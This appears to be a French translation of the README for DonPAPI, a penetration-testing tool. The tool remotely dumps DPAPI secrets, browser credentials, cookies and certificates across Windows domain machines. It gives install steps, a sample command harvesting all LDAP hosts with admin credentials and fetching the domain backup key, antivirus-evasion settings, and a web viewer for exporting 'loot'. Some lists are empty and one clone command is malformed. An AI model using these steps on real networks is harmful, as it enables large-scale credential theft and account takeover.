
Dump automatisé de credentials à distance pour environnements Windows, extrayant les secrets DPAPI, les identifiants de navigateur, les certificats et les fichiers de configuration avec évasion de défense intégrée et un visualiseur de butin basé sur le web.
DonPAPI automatise le dump de secrets à distance sur plusieurs ordinateurs Windows, en intégrant l'évasion défensive.

Identifiants collectés :
Nous avons donné une conférence en français sur DPAPI intitulée DPAPI - Don't Put Administration Passwords In 🇫🇷 :
Cet outil doit être installé avec pipx ou dans un environnement virtuel dédié
pipx install donpapi
ou (avec les derniers commits)
pipx install git+https://github.com/login-securite/DonPAPI.git
ou (pour développer)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI
pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Dump d'informations pertinentes sur des cibles compromises sans détection antivirus. Version: 2.0.0
positional arguments:
{collect,gui} Action DonPAPI
collect Dump les secrets sur une liste de cibles
gui Lance un serveur Flask pour parcourir la base de données DonPAPI
options:
-h, --help affiche ce message d'aide et quitte
-v Niveau de verbosité (-v ou -vv)
-o DIRNAME, --output-directory DIRNAME
Répertoire de sortie. Défaut : ~/.donpapi/loot/
Cette action est utilisée pour collecter les secrets sur les cibles spécifiées avec -t.
usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
[-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
[-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
[--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]
options:
-h, --help affiche ce message d'aide et quitte
--keep-collecting seconds
Relance l'attaque contre toutes les cibles après X secondes, X étant la valeur
--threads Number of threads
Nombre de threads (défaut : 50)
--no-config Ne pas charger le fichier de configuration donpapi (~/.donpapi/donpapi.conf)
authentication:
-t TARGET [TARGET ...], --target TARGET [TARGET ...]
la ou les IP(s), plage(s), CIDR(s), nom(s) d'hôte, FQDN, fichier(s) contenant une liste de cibles, ALL pour récupérer
tous les noms d'hôte des ordinateurs depuis LDAP
-d domain.local, --domain domain.local
Domaine
-u username, --username username
Nom d'utilisateur
-p password, --password password
Mot de passe
-H LMHASH:NTHASH, --hashes LMHASH:NTHASH
Hachages NTLM, format LMHASH:NTHASH
--no-pass ne pas demander de mot de passe (utile pour -k)
-k Utiliser l'authentification Kerberos. Récupère les identifiants du fichier ccache (KRB5CCNAME) en fonction des paramètres
de cible. Si des identifiants valides ne peuvent être trouvés, ceux spécifiés en ligne de commande seront utilisés
--aesKey hex key Clé AES à utiliser pour l'authentification Kerberos (128 ou 256 bits)
--laps Administrator Utiliser LAPS pour demander le mot de passe administrateur local. La valeur du paramètre laps est le compte administrateur
local utilisé pour la connexion
--dc-ip IP address Adresse IP du contrôleur de domaine. Si omis, la partie domaine (FQDN) spécifiée dans le paramètre de cible sera utilisée
-r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
Chemin du fichier de récupération. S'il est utilisé, les autres paramètres seront ignorés
attacks:
-c COLLECTORS, --collectors COLLECTORS
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (tous les
précédents) (défaut : All)
-nr, --no-remoteops Désactiver les opérations distantes (essentiellement pas d'opérations sur le registre distant, pas de credentials système
DPAPI)
--fetch-pvk Utilisera automatiquement la clé de sauvegarde de domaine depuis la base de données, et si elle n'est pas déjà dumpée, la
dumppera sur un contrôleur de domaine
--pvkfile PVKFILE Fichier pvk avec la clé de sauvegarde de domaine
--pwdfile PWDFILE Fichier contenant username:password qui sera éventuellement utilisé pour déchiffrer les masterkeys
--ntfile NTFILE Fichier contenant username:nthash qui sera éventuellement utilisé pour déchiffrer les masterkeys
--mkfile MKFILE Fichier contenant les correspondances {GUID}:SHA1 des masterkeys
L'authentification fonctionne en spécifiant un domaine avec --domain, un nom d'utilisateur avec --username, et éventuellement un mot de passe avec --password, un hachage avec --hashes, une clé AES avec --aesKey ou un ticket Kerberos au format ccache avec -k (style Impacket).
Vous pouvez également vous authentifier via LAPS sur l'ordinateur avec --laps et le nom du compte LAPS local comme valeur de ce paramètre.
Par défaut, DonPAPI collectera :
Vous pouvez spécifier chacun de ceux que vous souhaitez collecter avec --collectors (style SharpHound). Si vous utilisez --fetch-pvk, DonPAPI récupérera automatiquement la clé de sauvegarde de domaine du domaine AD et l'utilisera pour déchiffrer les masterkeys. Sinon, vous pouvez en apporter une avec --pvkfile. --pwdfile, --ntfile sont utilisés pour fournir des secrets à DonPAPI afin de déverrouiller les masterkeys. Mais si vous avez des masterkeys fraîchement déchiffrées, vous pouvez utiliser --mkfile.
[!WARNING] Certaines méthodes de collecte nécessiteront de dumper les secrets LSA (afin d'obtenir la clé machine DPAPI). Cette action peut être bruyante et les EDR modernes vous bloqueront instantanément. Vous pouvez utiliser
-nrpour éviter ces actions bruyantes, mais certains secrets ne seront pas collectés.
DonPAPI prend désormais en charge un fichier de configuration afin de pimper le comportement de Secretsdump. Ce fichier se trouvera dans ~/.donpapi/donpapi.conf, et par défaut, il ressemblera à ceci :
[secretsdump]
share = C$
remote_filepath = \Users\Default\AppData\Local\Temp
filename_regex = \d{4}-\d{4}-\d{4}-[0-9]{4}
file_extension = .log
DonPAPI prend en charge le fichier de récupération. Chaque fois que vous exécuterez une commande collect, il enregistrera un fichier de récupération des cibles restantes et de toutes les options. Par défaut, le fichier se trouve dans le dossier ~/.donpapi/register/
Parfois, lors d'une évaluation interne, vous voulez insister sur certaines cibles spécifiques et collecter encore et encore les secrets sur leurs ordinateurs. Ne faites pas une boucle bash stupide, utilisez simplement --keep-collecting X, X étant les secondes que vous voulez attendre entre chaque session de collecte.
Maintenant que vous avez collecté tous ces secrets, vous voulez les parcourir. DonPAPI vous permet de parcourir tous les secrets collectés via une interface web. Pour la lancer, utilisez donpapi gui.
usage: DonPAPI gui [-h] [--bind BIND] [--port PORT] [--ssl] [--basic-auth user:password]
options:
-h, --help affiche ce message d'aide et quitte
--bind BIND Adresse de liaison du serveur HTTP (défaut=127.0.0.1)
--port PORT Port du serveur HTTP (défaut=8088)
--ssl Utiliser une connexion chiffrée
--basic-auth user:password
Mettre en place une authentification basique
General
Cet écran affichera tous les mots de passe SAM réutilisés sur tous les ordinateurs collectés, les tâches planifiées dumpées et les mots de passe de comptes de service dumpés depuis LSA. Vous pouvez tous les exporter au format CSV.
Secrets
Cet écran affichera tous les secrets dérobés avec DonPAPI. Vous pouvez effectuer une recherche sur plusieurs éléments et exporter les secrets en CSV.
Cookies
Cet écran affichera tous les cookies dérobés avec DonPAPI. Vous pouvez effectuer une recherche sur plusieurs éléments et exporter les cookies en CSV, mais aussi les copier-coller dans du code JavaScript pour les coller dans votre navigateur.
Certificates
Cet écran affichera tous les certificats dérobés avec DonPAPI. Vous pouvez effectuer une recherche sur plusieurs éléments et exporter les certificats en CSV, mais aussi, si un certificat permet l'authentification client, cliquer sur Oui copiera-coller une commande Certipy pour utiliser le certificat.
Cet outil est uniquement destiné à des fins éducatives et de hacking éthique. Login Sécurité n'est pas responsable des abus commis avec cet outil.
L'interface frontend est développée en Vue3 + Vite.js, et le backend est en Python Flask.
Par défaut, elle sera exposée sur http://127.0.0.1:8088, mais vous pouvez l'exposer comme vous le souhaitez, même en https://0.0.0.0:443.
[!WARNING] N'exposez jamais DonPAPI à un réseau entier de cette manière, cela peut être très dangereux. DonPAPI prend en charge HTTPS avec
--sslet vous pouvez ajouter une authentification basique avec--basic-auth. Et de plus, n'exposez jamais DonPAPI sur Internet de cette façon.
Cliquer sur une valeur dans les tableaux la mettra instantanément dans votre presse-papiers.
Une case à cocher Masquer le mot de passe est disponible dans l'interface, afin de masquer les données sensibles dans l'interface, parfait pour les captures d'écran.
Tout le crédit va à ces génies pour avoir effectué les recherches et le codage difficiles :